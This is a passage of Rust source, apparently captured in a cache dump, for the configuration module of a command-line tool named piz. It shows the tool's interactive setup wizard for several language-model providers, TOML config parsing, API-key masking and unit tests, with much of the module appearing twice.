default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "03fb59271d50a888718bd02aab292d0f4589f734": {"t": 1785760765.3328063, "n": 17341, "h": "bd3b442eef13fbe5", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n 